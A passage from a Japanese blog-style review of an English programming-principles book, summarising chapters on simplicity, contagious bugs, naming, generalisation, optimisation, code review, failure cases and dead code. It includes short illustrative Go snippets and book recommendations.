Yourself)原則と一見矛盾するように見えますが、著者の意図は、原則を盲目的に適用するのではなく、状況に応じて適切な判断を下すべきだということです。小規模な重複を許容することで、コードの全体的な構造がシンプルになり、理解しやすくなる場合があるという指摘は、実務的な視点から重要です。まとめ著者は、プログラミングにおけるシンプルさの追求が、単なる美学的な問題ではなく、プロジェクトの成功に直結する重要な要素であることを強調しています。複雑さとの戦いは永続的なものであり、シンプルさを維持する努力は決して終わることがありません。しかし、この努力は決して無駄ではありません。著者自身の25年にわたるプロジェクト経験が示すように、複雑さを制御し続けることで、長期的な進化と成功が可能になります。この章は、プログラミングの本質的な課題に光を当て、実践的なアプローチを提示しています。シンプルさの追求は、単にコードを書く技術だけでなく、問題の本質を理解し、最適な解決策を見出す能力を要求します。これは、ソフトウェア開発の技術と言えるでしょう。最後に、この章の教訓は、特定の言語や環境に限定されるものではありません。シンプルさの追求は、あらゆるプログラミング言語、開発環境、そしてプロジェクトの規模に適用可能な普遍的な原則です。この原則を心に留め、日々の開発作業に活かしていくことが、真に優れたソフトウェアエンジニアへの道となるのです。Rule 2. Bugs Are Contagious第2章「Bugs Are Contagious」は、ソフトウェア開発における重要な課題の一つであるバグの性質と、その対処法について深く掘り下げています。著者は、バグが単なる孤立した問題ではなく、システム全体に影響を及ぼす「伝染性」を持つという洞察を提示しています。この章を通じて、バグの早期発見と対処の重要性、そしてそれを実現するための具体的な方法論が示されています。完全な余談なのですがこの章の内容は、一見「割れ窓理論」を想起させますが、最近の研究ではこの理論の妥当性に疑問が投げかけられています。例えば、「Science Fictions あなたが知らない科学の真実」では、有名な科学実験の再検証だけでなく、科学研究の制度的な問題点や改善策についても論じられています。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社Amazonこの書籍は、科学研究の信頼性向上のための追試制度の提案や査読プロセスの改善など、建設的な内容を含んでおり、科学的知見の批判的検討の重要性を示唆しています。「割れ窓理論」は本書では直接言及されていませんが、同様に再検証が必要とされる理論の一つとして考えられています。例えで出したら後輩に指摘されてしまうかもしれません。バグの伝染性著者は、バグが存在すると、他の開発者が意図せずにそのバグに依存したコードを書いてしまう可能性があると指摘しています。これは、バグが単に局所的な問題ではなく、システム全体に影響を及ぼす「伝染性」を持つことを意味します。例えば、あるモジュールのバグが、そのモジュールを利用する他の部分にも影響を与え、結果として複数の箇所で問題が発生するという状況です。この洞察は、日々の開発現場でも当てはまるものです。例えば、APIの仕様にバグがあると、それを利用する多くのクライアントコードが影響を受けることがあります。そのため、バグの早期発見と修正が極めて重要になります。早期発見の重要性著者は、バグを早期に発見することの重要性を強調しています。バグが長期間放置されるほど、それに依存したコードが増え、修正が困難になるというわけです。これは、多くの開発者が経験的に知っていることかもしれませんが、著者はこれを「entanglement(絡み合い)」という概念で説明しています。実際の開発現場では、この「entanglement」の問題は頻繁に発生します。例えば、あるライブラリのバグを修正したら、それを使用していた多くのアプリケーションが動かなくなるという事態は珍しくありません。これは、アプリケーションがバグの振る舞いに依存していたためです。自動テストの重要性著者は、バグの早期発見のための主要な手段として、自動テストの重要性を強調しています。継続的な自動テストを行うことで、バグを早期に発見し、「entanglement」の問題を最小限に抑えることができるというわけです。しかし、著者も認めているように、自動テストの導入には課題もあります。例えば、ゲーム開発のような主観的な要素が大きい分野では、すべての要素を自動テストでカバーすることは困難です。また、テストの作成自体にも多くの時間とリソースが必要になります。ステートレスコードの利点著者は、テストを容易にするための一つの方法として、ステートレスなコードの作成を推奨しています。ステートを持たない純粋な関数は、入力に対して常に同じ出力を返すため、テストが容易になります。これは、実際の開発現場でも有効な方法です。例えば、以下のようなGolangのコードを考えてみます。func sumVector(values []int) int { sum := 0 for _, value := range values { sum += value } return sum}このような純粋関数は、入力と出力の関係が明確で、副作用がないため、テストが容易です。一方、状態を持つコードは、その状態によって振る舞いが変わるため、テストが複雑になりがちです。内部監査の重要性著者は、完全にステートレスにできない場合の対策として、内部監査(internal auditing)の重要性を指摘しています。これは、コード内部で自己チェックを行うメカニズムを実装することで、状態の一貫性を保つ方法です。例えば、Golangでは以下のように実装できます。type Character struct { // フィールド省略}func (c *Character) audit() { // 内部状態の一貫性をチェック if /* 一貫性が破れている */ { panic(\"Character state is inconsistent\") }}このような内部監査を適切に配置することで、状態の不整合を早期に発見し、デバッグを容易にすることができます。呼び出し側を信頼しない著者は、「呼び出し側を信頼しない」という重要な原則を提示しています。これは、APIを設計する際に、不正な引数や不適切な使用方法を想定し、それらを適切に処理することの重要性を示しています。例えば、Golangでは以下のように実装できます。type ObjectID struct { index int generation int}func (s *Simulator) isObjectIDValid(id ObjectID) bool { return id.index >= 0 && id.index < len(s.indexGenerations) && s.indexGenerations[id.index] == id.generation}func (s *Simulator) getObjectState(id ObjectID) (ObjectState, error) { if !s.isObjectIDValid(id) { return ObjectState{}, errors.New(\"invalid object ID\") } // 以下、正常な処理}このようなチェックを実装することで、APIの誤用を早期に検出し、デバッグを容易にすることができます。まとめ著者は、バグの「伝染性」という概念を通じて、早期発見と対処の重要性を強調しています。自動テスト、ステートレスなコード設計、内部監査、そして堅牢なAPIデザインなど、様々な手法を組み合わせることで、バグの影響を最小限に抑えることができると主張しています。これらの原則は、実際の開発現場でも有効です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現代のソフトウェア開発では、ステートレスなコード設計の重要性が増しています。また、CI/CDパイプラインの普及により、継続的な自動テストの実施が容易になっています。しかし、著者も認めているように、これらの原則をすべての状況で完全に適用することは難しい場合もあります。例えば、レガシーシステムの保守や、リアルタイム性が要求される組み込みシステムの開発など、制約の多い環境では、これらの原則の適用に工夫が必要になるでしょう。結論として、この章で提示されている原則は、バグの早期発見と対処を通じて、ソフトウェアの品質と保守性を高めるための重要な指針となります。これらの原則を理解し、プロジェクトの特性に応じて適切に適用することが、開発者には求められるのです。Rule 3. A Good Name Is the Best Documentation第3章「A Good Name Is the Best Documentation」は、プログラミングにおける命名の重要性を深く掘り下げています。著者は、適切な命名がコードの理解しやすさと保守性に大きな影響を与えることを強調し、良い命名がいかに効果的なドキュメンテーションになり得るかを説明しています。この章では、命名の原則から具体的なプラクティス、そして命名規則の一貫性の重要性まで、幅広いトピックがカバーされています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。言葉の形と意味の関連性については例えば、「ゴロゴロ」という言葉が雷の音を模倣しているように、言葉の音や形が、その意味を直接的に表現している場合があります。この概念は、プログラミングの命名にも応用できる可能性があります。機能や役割を直感的に表現する変数名やメソッド名を選ぶことで、コードの理解しやすさを向上させることができるかもしれません。ただし、プログラムの複雑化に伴い、単純な音や形の類似性だけでは不十分になる場合もあるため、コンテキストや他の命名規則との整合性も考慮する必要があります。言語の本質 ことばはどう生まれ、進化したか (中公新書)作者:今井むつみ,秋田喜美中央公論新社Amazon命名の重要性著者は、シェイクスピアの「ロミオとジュリエット」を引用しながら、名前の持つ力について語り始めます。「バラはどんな名前で呼んでも、同じように甘い香りがする」というジュリエットの台詞を、プログラミングの文脈で解釈し直しています。著者の主張は明確です。コードにおいて、名前は単なるラベル以上の意味を持つのです。適切な名前は、そのコードの目的や機能を即座に伝える強力なツールとなります。これは、コードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。実際の開発現場でも、この原則の重要性は日々実感されます。例えば、数ヶ月前に書いたコードを見直す時、適切な名前付けがされていれば、コードの意図を素早く理解できます。逆に、意味の曖昧な変数名やメソッド名に遭遇すると、コードの解読に余計な時間を取られてしまいます。最小限のキーストロークを避ける著者は、変数名や関数名を短くすることで、タイピング時間を節約しようとする傾向について警告しています。これは特に、経験の浅い開発者や古い時代のプログラミング習慣を持つ開発者に見られる傾向です。例として、複素数の多項式を評価する関数のコードが示されています。最初の例では、変数名が極端に短く、コードの意図を理解するのが困難です。一方、適切な名前を使用した第二の例では、コードの意図が明確になり、理解しやすくなっています。// 悪い例func cp(n int, rr, ii []float64, xr, xi float64) (yr, yi float64) { // ... (省略)}// 良い例func evaluateComplexPolynomial(degree int, realCoeffs, imagCoeffs []float64, realX, imagX float64) (realY, imagY float64) { // ... (省略)}この例は、適切な命名がいかにコードの可読性を向上させるかを明確に示しています。長い名前を使用することで、コードを書く時間は若干増えるかもしれませんが、それ以上に読む時間と理解する時間が大幅に短縮されます。命名規則の一貫性著者は、プロジェクト内で一貫した命名規則を使用することの重要性を強調しています。異なる命名規則が混在すると、コードの理解が困難になり、認知負荷が増大します。例えば、自作のコンテナクラスと標準ライブラリのコンテナクラスを混在して使用する場合、命名規則の違いによって混乱が生じる可能性があります。著者は、可能な限り一貫した命名規則を採用し、外部ライブラリの使用を最小限に抑えることを提案しています。実際の開発現場では、チーム全体で一貫した命名規則を採用することが重要です。例えば、Golangでは以下のような命名規則が一般的です。// 良い例type User struct { ID int FirstName string LastName string}func (u *User) FullName() string { return u.FirstName + \" \" + u.LastName}// 悪い例(一貫性がない)type customer struct { id int first_name string LastName string}func (c *customer) get_full_name() string { return c.first_name + \" \" + c.LastName}この例では、良い例では一貫してキャメルケースを使用し、構造体名は大文字で始まっています。一方、悪い例では命名規則が混在しており、理解が困難になっています。機械的な命名規則の利点著者は、可能な限り機械的な命名規則を採用することを推奨しています。これにより、チームメンバー全員が自然に同じ名前を選択するようになり、コードベース全体の一貫性が向上します。著者の所属するSucker Punchでは、Microsoftのハンガリアン記法の変種を使用しているそうです。例えば、iFactionは配列内のインデックスを、vpCharacterはキャラクターへのポインタのベクトルを表します。これは興味深いアプローチですが、現代のプログラミング言語やIDE環境では必ずしも必要ないかもしれません。例えば、Golangでは型推論が強力で、IDEのサポートも充実しています。そのため、以下のような命名規則でも十分に明確であり、かつ読みやすいコードを書くことができます。func ProcessUsers(users []User, activeOnly bool) []User { var result []User for _, user := range users { if !activeOnly || user.IsActive { result = append(result, user) } } return result}この例では、変数の型や用途が名前自体から明確に分かります。usersは複数のユーザーを表す配列、activeOnlyはブール値のフラグ、resultは処理結果を格納する配列です。まとめ著者は、良い命名が最良のドキュメンテーションであるという主張を、様々な角度から論じています。適切な命名は、コードの意図を即座に伝え、保守性を高め、チーム全体の生産性を向上させます。一方で、命名規則に関しては、プロジェクトやチームの状況に応じて柔軟に対応することも重要です。例えば、レガシーコードベースを扱う場合や、異なる背景を持つ開発者が協働する場合など、状況に応じた判断が求められます。私の経験上、最も重要なのはチーム内での合意形成です。どのような命名規則を採用するにせよ、チーム全体がその規則を理解し、一貫して適用することが、コードの可読性と保守性を高める鍵となります。また、命名規則は時代とともに進化することも忘れてはいけません。例えば、かつては変数名の長さに制限があったため短い名前が好まれましたが、現代の開発環境ではそのような制限はほとんどありません。そのため、より説明的で長い名前を使用することが可能になっています。結論として、良い命名はコードの品質を大きく左右する重要な要素です。it's not just about writing code, it's about writing code that tells a story. その物語を明確に伝えるために、私たちは日々、より良い命名を追求し続ける必要があるのです。Rule 4. Generalization Takes Three Examples第4章「Generalization Takes Three Examples」は、ソフトウェア開発における一般化(generalization)の適切なタイミングと方法について深く掘り下げています。著者は、コードの一般化が重要でありながらも、早すぎる一般化が引き起こす問題について警鐘を鳴らしています。この章を通じて、プログラマーが日々直面する「特定の問題を解決するコードを書くべきか、それとも汎用的な解決策を目指すべきか」というジレンマに対する洞察を提供しています。この章の内容は、認知心理学の知見とも関連しており、即座に解決策を求める直感的な思考は特定の問題に対する迅速な解決をもたらす一方で過度の一般化につながる危険性がある一方、より慎重で分析的な思考は複数の事例を比較検討し適切なレベルの一般化を導く可能性が高くなるため、著者が提案する「3つの例則」は、より適切な一般化を実現するための実践的なアプローチとして、ソフトウェア開発における意思決定プロセスを理解し改善するための新たな洞察を提供してくれるでしょう。ファスト&スロー (上)作者:ダニエル カーネマン,村井 章子早川書房Amazon一般化の誘惑著者は、プログラマーが一般的な解決策を好む傾向について語ることから始めます。例えば、赤い看板を見つける関数を書く代わりに、色を引数として受け取る汎用的な関数を書くことを選ぶプログラマーが多いと指摘しています。// 特定の解決策func findRedSign(signs []Sign) *Sign { for _, sign := range signs { if sign.Color() == Color.Red { return &sign } } return nil}// 一般的な解決策func findSignByColor(signs []Sign, color Color) *Sign { for _, sign := range signs { if sign.Color() == color { return &sign } } return nil}この例は、多くのプログラマーにとって馴染み深いものでしょう。私自身、これまでの経験で何度も同様の選択を迫られてきました。一般的な解決策を選ぶ理由として、将来的な拡張性や再利用性を挙げる人が多いですが、著者はここで重要な問いを投げかけています。本当にその一般化は必要なのか?YAGNIの原則著者は、XP(エクストリーム・プログラミング)の原則の一つである「YAGNI」(You Ain't Gonna Need It:それは必要にならないよ)を引用しています。この原則は、実際に必要になるまで機能を追加しないことを提唱しています。こういう原則は『プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則』を読めば一通り読めるのでおすすめです。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon例えば、看板検索の例をさらに一般化して、色だけでなく、場所やテキストなども検索できるようにした SignQuery 構造体を考えてみます。type SignQuery struct { Colors []Color Location Location MaxDistance float64 TextPattern string}func findSigns(query SignQuery, signs []Sign) []Sign { // 実装省略}この SignQuery は柔軟で強力に見えますが、著者はこのアプローチに警鐘を鳴らします。なぜなら、この一般化された構造は、実際には使用されない機能を含んでいる可能性が高いからです。さらに重要なことに、この一般化された構造は、将来の要件変更に対して柔軟に対応できないかもしれません。3つの例則著者は、一般化を行う前に少なくとも3つの具体的な使用例を見るべきだと主張します。これは、良い視点だと思いました。1つや2つの例では、パターンを正確に把握するには不十分で、誤った一般化を導く可能性があります。3つの例を見ることで、より正確なパターンの把握と、より控えめで適切な一般化が可能になるという考えは説得力があります。実際の開発現場では、この「3つの例則」を厳密に適用するのは難しいかもしれません。しかし、この原則を意識することで、早すぎる一般化を避け、より適切なタイミングで一般化を行うことができるでしょう。過度な一般化の危険性著者は、過度に一般化されたコードがもたらす問題について詳しく説明しています。特に印象的だったのは、一般化されたソリューションが「粘着性」を持つという指摘です。つまり、一度一般化された解決策を採用すると、それ以外の方法を考えるのが難しくなるということです。例えば、findSigns 関数を使って赤い看板を見つけた後、他の種類の看板を見つける必要が出てきたとき、多くのプログラマーは自然と findSigns 関数を拡張しようとするでしょう。しかし、これが必ずしも最適な解決策とは限りません。// 過度に一般化された関数func findSigns(query ComplexQuery, signs []Sign) []Sign { // 複雑な実装}// 単純で直接的な解決策func findBlueSignsOnMainStreet(signs []Sign) []Sign { var result []Sign for _, sign := range signs { if sign.Color() == Color.Blue && isOnMainStreet(sign.Location()) { result = append(result, sign) } } return result}この例では、findSigns を使用するよりも、直接的な解決策の方がシンプルで理解しやすいことがわかります。著者の主張は、一般化されたソリューションが常に最適とは限らず、時には直接的なアプローチの方が優れている場合があるということです。まとめ著者の「Generalization Takes Three Examples」という原則は、ソフトウェア開発における重要な洞察を提供しています。早すぎる一般化の危険性を認識し、具体的な使用例に基づいて慎重に一般化を進めることの重要性を強調しています。この原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。過度に一般化されたコードは、短期的には柔軟性をもたらすように見えても、長期的には理解や修正が困難になる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる一般化によって複雑化してしまったコードや、逆に一般化が足りずに重複だらけになってしまったコードなど、様々な失敗を思い出しました。最後に、著者の「ハンマーを持つと全てが釘に見える」という比喩は的確だと感じました。一般化されたソリューションは強力なツールですが、それが全ての問題に適しているわけではありません。適切なタイミングで適切なレベルの一般化を行うこと、そしてそのために具体的な使用例をしっかりと観察することの重要性を、この章から学ぶことができました。今後の開発では、「本当にこの一般化が必要か?」「具体的な使用例は十分にあるか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。Rule 5. The First Lesson of Optimization Is Don't Optimize第5章「The First Lesson of Optimization Is Don't Optimize」は、ソフトウェア開発における最も誤解されやすい、そして最も議論を呼ぶトピックの一つである最適化について深く掘り下げています。著者は、最適化に対する一般的な考え方に挑戦し、実践的かつ効果的なアプローチを提案しています。この章では、最適化の本質、その落とし穴、そして効果的な最適化の方法について詳細に解説されています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。センスの哲学 (文春e-book)作者:千葉 雅也文藝春秋Amazon最適化の誘惑著者は、最適化が多くのプログラマーにとって魅力的なタスクであることを認めています。最適化は、その成功を明確に測定できるという点で、他のプログラミングタスクとは異なります。しかし、著者はこの誘惑に警鐘を鳴らします。ここで著者が引用しているドナルド・クヌースの言葉は、多くのプログラマーにとってお馴染みのものです。小さな効率性については97%の時間を忘れるべきである:早すぎる最適化は諸悪の根源である。この言葉は、最適化に対する慎重なアプローチの必要性を強調しています。著者は、この原則が現代のソフトウェア開発においても依然として重要であることを主張しています。最適化の第一の教訓著者が強調する最適化の第一の教訓は、「最適化するな」というものです。これは一見矛盾しているように見えますが、著者の意図は明確です。最初から最適化を意識してコードを書くのではなく、まずはシンプルで明確なコードを書くべきだというのです。この原則を実践するための具体例として、著者は重み付きランダム選択の関数を挙げています。最初の実装は以下のようなものです。func chooseRandomValue(weights []int, values []interface{}) interface{} { totalWeight := 0 for _, weight := range weights { totalWeight += weight } selectWeight := rand.Intn(totalWeight) for i, weight := range weights { selectWeight -= weight if selectWeight < 0 { return values[i] } } panic(\"Unreachable\")}この実装は単純明快で、理解しやすいものです。著者は、この段階で最適化を考えるのではなく、まずはこのシンプルな実装で十分だと主張します。最適化の第二の教訓著者が提唱する最適化の第二の教訓は、「シンプルなコードは簡単に最適化できる」というものです。著者は、未最適化のコードであれば、大きな労力をかけずに5倍から10倍の速度向上を達成できると主張します。この主張を実証するため、著者は先ほどのchooseRandomValue関数の最適化に挑戦します。著者が提案する最適化のプロセスは以下の5ステップです。プロセッサ時間を測定し、属性付けするバグでないことを確認するデータを測定する計画とプロトタイプを作成する最適化し、繰り返すこのプロセスに従って最適化を行った結果、著者は元の実装の約12倍の速度を達成しました。これは、著者の「5倍から10倍の速度向上」という主張を裏付けるものです。過度な最適化の危険性著者は、一度目標の速度向上を達成したら、それ以上の最適化は避けるべきだと警告しています。これは、過度な最適化が複雑性を増し、コードの可読性や保守性を損なう可能性があるためです。著者自身、さらなる最適化のアイデアを持っていることを認めていますが、それらを追求する誘惑に抗うことの重要性を強調しています。代わりに、それらのアイデアをコメントとして残し、将来必要になった時のために保存しておくことを提案しています。まとめ著者の「最適化するな」という主張は、一見すると直感に反するものかもしれません。しかし、この原則の本質は、「適切なタイミングまで最適化を延期せよ」ということです。この章から学べる重要な教訓は以下のとおりです。シンプルで明確なコードを書くことを最優先せよ。本当に必要になるまで最適化を行わない。最適化が必要になった時、シンプルなコードなら容易に最適化できる。最適化は計測と分析に基づいて行うべきで、勘や推測に頼るべきではない。目標を達成したら、それ以上の最適化は避ける。これらの原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。早すぎる最適化は、短期的にはパフォーマンス向上をもたらすかもしれませんが、長期的にはコードの複雑性を増大させ、保守性を低下させる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる最適化によって複雑化してしまったコードや、逆に最適化の機会を見逃してしまった事例など、様々な経験が思い出されます。最後に、著者の「Pythonで高頻度取引アプリケーションを書いてしまっても、必要な部分だけC++に移植すれば50倍から100倍の速度向上が得られる」という指摘は、示唆に富んでいます。これは、最適化の問題に柔軟にアプローチすることの重要性を示しています。今後の開発では、「本当にこの最適化が必要か?」「この最適化によってコードの複雑性がどの程度増すか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。最適化は確かに重要ですが、それ以上に重要なのは、シンプルで理解しやすく、保守性の高いコードを書くことなのです。Rule 6. Code Reviews Are Good for Three Reasons第6章「コードレビューが良い3つの理由」は、ソフトウェア開発プロセスにおけるコードレビューの重要性と、その多面的な利点について深く掘り下げています。著者は、自身の30年以上にわたるプログラミング経験を基に、コードレビューの進化と現代のソフトウェア開発における不可欠な役割を論じています。この章では、コードレビューが単なるバグ発見のツールではなく、知識共有、コード品質向上、そしてチーム全体の生産性向上に寄与する重要な実践であることを示しています。著者の洞察は、現代のアジャイル開発やDevOpsの文脈においても関連性が高く、多くの開発チームにとって有益な示唆を提供しています。コードレビューの効果を最大化するためには、適切なフィードバック方法を考慮することが重要であり、建設的なフィードバックの与え方や受け手の心理を考慮したコミュニケーション方法を学ぶことで、ポジティブな点も含めたバランスのとれたコメント、明確で具体的な改善提案、相手の立場を尊重した表現方法などを活用し、コードレビューを単なる技術的な確認作業ではなくチームの成長と協力を促進する貴重な機会として活用することで、チーム全体のコミュニケーションが改善され、結果としてソフトウェア開発プロセス全体の効率と品質が向上するでしょう。みんなのフィードバック大全作者:三村 真宗光文社Amazonコードレビューの進化著者は、コードレビューが過去30年間でどのように進化してきたかを振り返ることから始めます。かつてはほとんど行われていなかったコードレビューが、現在では多くの開発チームで標準的な実践となっていることを指摘しています。この変化は、ソフトウェア開発の複雑化と、チーム開発の重要性の増大を反映しているように思います。個人的な経験を踏まえると、10年前と比べても、コードレビューの重要性に対する認識は格段に高まっていると感じます。特に、オープンソースプロジェクトの台頭や、GitHubなどのプラットフォームの普及により、コードレビューの文化はさらに広がっていると言えるでしょう。近年、生成AIを活用したコードレビューツールも注目を集めています。例えばPR-agentやGitHub Copilot pull requestは、AIがプルリクエストを分析し、フィードバックを提供します。このようなツールは、人間のレビューアーを補完し、効率的なコード品質管理を可能にします。ただし、AIによるレビューには限界もあります。コンテキストの理解や創造的な問題解決など、人間のレビューアーの強みは依然として重要です。そのため、AIツールと人間のレビューを組み合わせたハイブリッドアプローチが、今後のベストプラクティスとなる可能性があります。コードレビューの3つの利点著者は、コードレビューには主に3つの利点があると主張しています。バグの発見知識の共有コード品質の向上これらの利点について、著者の見解を踏まえつつ、現代のソフトウェア開発の文脈で考察してみます。1. バグの発見著者は、バグ発見がコードレビューの最も明白な利点であるものの、実際にはそれほど効果的ではないと指摘しています。確かに、私の経験でも、コードレビューで見つかるバグは全体の一部に過ぎません。しかし、ここで重要なのは、コードレビューにおけるバグ発見のプロセスです。著者が指摘するように、多くの場合、バグはレビューを受ける側が説明する過程で自ら気づくことが多いのです。これは、ラバーダッキング手法の一種と見なすこともできます。2. 知識の共有著者は、コードレビューが知識共有の優れた方法であると強調しています。これは、現代の開発環境において特に重要な点です。技術の進化が速く、プロジェクトの規模が大きくなる中で、チーム全体の知識レベルを均一に保つことは難しくなっています。コードレビューは、この課題に対する効果的な解決策の一つです。著者が提案する「シニア」と「ジュニア」の組み合わせによるレビューは、特に有効だと考えます。ただし、ここでの「シニア」「ジュニア」は、必ずしも経験年数ではなく、特定の領域やプロジェクトに対する知識の深さを指すと解釈するべきでしょう。3. コード品質の向上著者は、コードレビューの最も重要な利点として、「誰かが見るということを知っていると、みんなより良いコードを書く」という点を挙げています。この指摘は的を射ていると思います。人間の心理として、他人に見られることを意識すると、自然とパフォーマンスが向上します。これは、ソフトウェア開発においても例外ではありません。コードレビューの存在自体が、コード品質を向上させる強力な動機付けとなるのです。コードレビューの実践著者は、自社でのコードレビューの実践について詳しく説明しています。リアルタイムで、インフォーマルに、対話形式で行われるこのアプローチは、多くの利点があります。特に印象的なのは、レビューをダイアログとして捉える視点です。一方的なチェックではなく、相互の対話を通じて理解を深めていくこのアプローチは、知識共有と問題発見の両面で効果的です。一方で、この方法はリモートワークが増加している現代の開発環境では、そのまま適用するのが難しい場合もあります。しかし、ビデオ会議ツールやペアプログラミングツールを活用することで、類似の効果を得ることは可能です。まとめ著者の「コードレビューには3つの良い理由がある」という主張は、説得力があります。バグの発見、知識の共有、コード品質の向上という3つの側面は、いずれも現代のソフトウェア開発において重要な要素です。しかし、これらの利点を最大限に引き出すためには、著者が強調するように、コードレビューを単なる形式的なプロセスではなく、チームのコミュニケーションと学習の機会として捉えることが重要です。個人的な経験を踏まえると、コードレビューの質は、チームの文化と深く関連していると感じます。オープンで建設的なフィードバックを歓迎する文化、継続的な学習を重視する文化を育てることが、効果的なコードレビューの前提条件となるでしょう。また、著者が指摘する「禁止されたコードレビュー」(ジュニア同士のレビュー)については、少し異なる見解を持ちます。確かに、知識の誤った伝播というリスクはありますが、ジュニア同士であっても、互いの視点から学ぶことはあると考えます。ただし、これには適切な監視とフォローアップが必要です。最後に、コードレビューは決して完璧なプロセスではありません。著者も認めているように、全てのバグを見つけることはできません。しかし、それでもコードレビューは、ソフトウェアの品質向上とチームの成長に大きく貢献する貴重な実践であることは間違いありません。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なコードレビューの実践を目指していきたいと思います。特に、レビューをより対話的なプロセスにすること、知識共有の機会として積極的に活用すること、そしてチーム全体のコード品質向上への意識を高めることを意識していきたいと考えています。Rule 7. Eliminate Failure Cases第7章「Eliminate Failure Cases」は、ソフトウェア開発における失敗ケースの排除という重要なトピックを深く掘り下げています。この章を通じて、著者は失敗ケースの排除がプログラムの堅牢性と信頼性を高める上で不可欠であることを強調し、その実践的なアプローチを提示しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon失敗ケースとは何か著者はまず、失敗ケースの定義から始めています。失敗ケースとは、プログラムが想定外の動作をする可能性のある状況のことです。例えば、ファイルの読み込みに失敗したり、ネットワーク接続が切断されたりする場合などが挙げられます。著者は、これらの失敗ケースを完全に排除することは不可能だが、多くの場合で回避または最小化できると主張しています。この考え方は、エラーハンドリングに対する従来のアプローチとは異なります。多くの開発者は、エラーが発生した後にそれをどう処理するかに焦点を当てがちですが、著者はエラーが発生する可能性自体を減らすことに重点を置いています。これは、防御的プログラミングの一歩先を行く考え方だと言えるでしょう。失敗ケースの排除方法著者は、失敗ケースを排除するための具体的な方法をいくつか提示しています。型安全性の活用:強い型付けを持つ言語を使用することで、多くの失敗ケースを compile time に検出できます。nullの回避:null参照は多くのバグの源となるため、できる限り避けるべきです。Optionalパターンなどの代替手段を使用することを推奨しています。不変性の活用:データを不変に保つことで、予期せぬ状態変更による失敗を防ぐことができます。契約による設計:事前条件、事後条件、不変条件を明確に定義することで、関数やメソッドの正しい使用を強制できます。これらの方法は、単に失敗ケースを処理するのではなく、失敗ケースが発生する可能性自体を減らすことを目指しています。コンパイラの助けを借りる著者は、失敗ケースの排除においてコンパイラの重要性を強調しています。静的型付け言語のコンパイラは、多くの潜在的な問題を事前に検出できます。例えば、未使用の変数や、型の不一致などを検出し、コンパイル時にエラーを報告します。これは、動的型付け言語と比較して大きな利点です。動的型付け言語では、これらの問題が実行時まで検出されない可能性があります。著者は、可能な限り多くのチェックをコンパイル時に行うことで、実行時エラーのリスクを大幅に減らせると主張しています。設計による失敗ケースの排除著者は、適切な設計によって多くの失敗ケースを排除できると主張しています。例えば、状態機械(state machine)を使用することで、無効な状態遷移を防ぐことができます。また、ファクトリーメソッドパターンを使用することで、オブジェクトの不正な初期化を防ぐこともできます。これらの設計パターンを適切に使用することで、コードの構造自体が失敗ケースを排除する役割を果たすことができます。つまり、プログラムの設計段階から失敗ケースの排除を意識することの重要性を著者は強調しています。失敗ケース排除の限界著者は、全ての失敗ケースを排除することは不可能であることも認めています。例えば、ハードウェアの故障やネットワークの遮断など、プログラムの制御外の要因によるエラーは避けられません。しかし、著者はこれらの避けられない失敗ケースに対しても、その影響を最小限に抑える設計が可能だと主張しています。例えば、トランザクションの使用や、べき等性のある操作の設計などが、これらの戦略として挙げられています。これらの方法を使用することで、予期せぬエラーが発生しても、システムを一貫性のある状態に保つことができます。まとめ著者は、失敗ケースの排除が単なるエラーハンドリングの改善以上の意味を持つと主張しています。それは、プログラムの設計と実装の全体的な質を向上させる取り組みなのです。失敗ケースを排除することで、コードはより堅牢になり、バグの発生率が減少し、結果として保守性が向上します。この章から得られる重要な教訓は、エラーを処理する方法を考えるだけでなく、エラーが発生する可能性自体を減らすことに注力すべきだということです。これは、プログラミングの哲学的なアプローチの変更を意味します。私自身、この原則を実践することで、コードの品質が大幅に向上した経験があります。例えば、nullの使用を避け、Optionalパターンを採用することで、null pointer exceptionの発生率を大幅に減らすことができました。また、型安全性を重視することで、多くのバグを compile time に検出し、デバッグにかかる時間を削減することができました。ただし、著者の主張にも若干の批判的な視点を加えるならば、失敗ケースの完全な排除を目指すことで、かえってコードが複雑になり、可読性が低下する可能性もあります。そのため、失敗ケースの排除と、コードの簡潔さのバランスを取ることが重要です。最後に、この章の教訓は、単に個々の開発者のコーディング習慣を改善するだけでなく、チーム全体の開発プロセスや設計方針にも適用できます。例えば、コードレビューの基準に「失敗ケースの排除」を含めたり、アーキテクチャ設計の段階で潜在的な失敗ケースを特定し、それらを排除する戦略を立てたりすることができます。この原則を実践することで、より信頼性の高い、堅牢なソフトウェアを開発することができるでしょう。それは、単にバグの少ないコードを書くということだけでなく、予測可能で、管理しやすい、高品質なソフトウェアを作り出すことを意味します。これは、長期的な視点で見たときに、開発効率の向上とメンテナンスコストの削減につながる重要な投資だと言えるでしょう。Rule 8. Code That Isn't Running Doesn't Work第8章「Code That Isn't Running Doesn't Work」は、ソフトウェア開発における重要だが見落とされがちな問題、すなわち使用されていないコード(デッドコード)の危険性について深く掘り下げています。著者は、一見無害に見えるデッドコードが、実際にはプロジェクトの健全性と保守性に大きな影響を与える可能性があることを、具体的な例を通じて説明しています。この章を通じて、コードベースの進化と、それに伴う予期せぬ問題の発生メカニズムについて、実践的な洞察が提供されています。ソフトウェア開発において、「疲れないコード」を作ることも重要です。疲れないコードとは、読みやすく、理解しやすく、そして保守が容易なコードを指します。このようなコードは、長期的なプロジェクトの健全性を維持し、開発者の生産性を向上させる上で極めて重要です。疲れないコードを書くことで、デッドコードの発生を防ぎ、コードベース全体の品質を高めることができるのです。疲れない体をつくる最高の食事術作者:牧田 